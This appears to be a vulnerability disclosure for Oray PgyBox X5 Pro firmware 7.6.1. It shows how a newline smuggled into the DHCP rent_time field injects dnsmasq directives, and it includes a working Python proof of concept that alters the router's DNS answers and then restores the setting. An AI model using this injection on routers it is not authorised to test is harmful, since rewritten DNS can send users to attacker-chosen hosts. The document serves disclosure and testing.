Oray PgyBox X5 Pro Router firmware 7.6.1 allows a holder of the management system password to inject dnsmasq directives through the DHCP rent_time field. The dhcp_set API stores line feeds in dhcp.lan.leasetime, which the dnsmasq init script copies into a dhcp-range line; an added address= directive can change the router's DNS answers for selected names.
The request uses the management system password in _pwd and calls _api=dhcp_set. In the 7.6.1 decompilation of /usr/lib/lua/oraybox/api/dhcp_set.lua, the module's shell_inject_checker covers interface, switch, ip_start, ip_end, and limit; its table closes after limit. The edit dispatch still forwards rent_time:
limit = {
type = oraybox.util.INT_CHECK_TYPE,
min = 1
}
}
elseif args.op == "edit" then
code = edit(args.interface, args.switch, args.ip_start, args.ip_end, args.rent_time, args.dhcp_option, args.limit)
The range calculation checks that a lease time was supplied, then writes the value without a character check. The same function commits the DHCP configuration and calls restart_dhcp(), which runs /etc/init.d/dnsmasq reload. These are separate excerpts from edit() in the same 7.6.1 file:
if not (ip_start and ip_end and rent_time) or ip_offset_limit < 0 then
oraybox.util.syslog("dhcp_set", "ip_start=%s, ip_end=%s, rent_time=%s", ip_start or "(null)", ip_end or "(null)", rent_time or "(null)")
return oraybox.errorcode.args
end
if not uci:set("dhcp", interface, "leasetime", rent_time) then
return oraybox.errorcode.uci
end
In /etc/init.d/dnsmasq, the IPv4 pool branch expands leasetime directly into the range passed to xappend:
if [ "$limit" -gt 0 ] ; then
limit=$((limit-1))
fi
# make sure the DHCP range is not empty
if [ "$dhcpv4" != "disabled" ] && eval "$(ipcalc.sh "${subnet%%/*}" "$netmask" "$start" "$limit")" ; then
[ "$dynamicdhcpv4" = "0" ] && END="static"
xappend "--dhcp-range=$tags$nettag$START,$END,$NETMASK,$leasetime${options:+ $options}"
fi
xappend removes the leading -- and appends the resulting string with echo "$value" >>$CONFIGFILE_TMP; it does not collapse embedded lines. The generated file is then used by dnsmasq through its -C argument. A lease time of 12h followed by LF and address=/lease-probe.invalid/198.51.100.77 therefore leaves the DHCP range intact and gives dnsmasq a second directive.
Run this from a client that can reach the management and DNS interfaces. It needs Python 3, nslookup, and the management system password. The script reads the current DHCP address pool and lease time, sends the two-line value, checks the DNS answer, and restores the original lease time in finally. DHCP must be enabled on the selected interface.
import json
import subprocess
import time
from urllib.parse import urlencode
from urllib.request import Request, urlopen
router = "10.168.1.1"
password = "your-management-password"
domain = "lease-probe.invalid"
answer = "198.51.100.77"
endpoint = f"http://{router}/cgi-bin/oraybox"
def call(api, **fields):
body = urlencode({"_api": api, "_pwd": password, **fields}).encode()
with urlopen(Request(endpoint, data=body), timeout=20) as response:
result = json.load(response)
if result.get("code") != 0:
raise RuntimeError(f"{api}: {result}")
return result
saved = call("dhcp_get", interface="lan")
if int(saved["switch"]) != 1:
raise RuntimeError("Enable DHCP on this interface before running the test")
start = int(saved["ip_start"])
limit = int(saved["ip_end"]) - start
original_lease = saved["rent_time"]
def set_lease(value):
return call("dhcp_set", op="edit", interface="lan", switch="1",
ip_start=str(start), limit=str(limit), rent_time=value)
try:
print(set_lease(original_lease + "\naddress=/" + domain + "/" + answer))
for attempt in range(10):
lookup = subprocess.run(["nslookup", domain, router],
capture_output=True, text=True, timeout=8)
if answer in lookup.stdout:
print(lookup.stdout)
break
time.sleep(0.5)
else:
raise RuntimeError("The router did not return the injected address")
finally:
print("Restored:", set_lease(original_lease))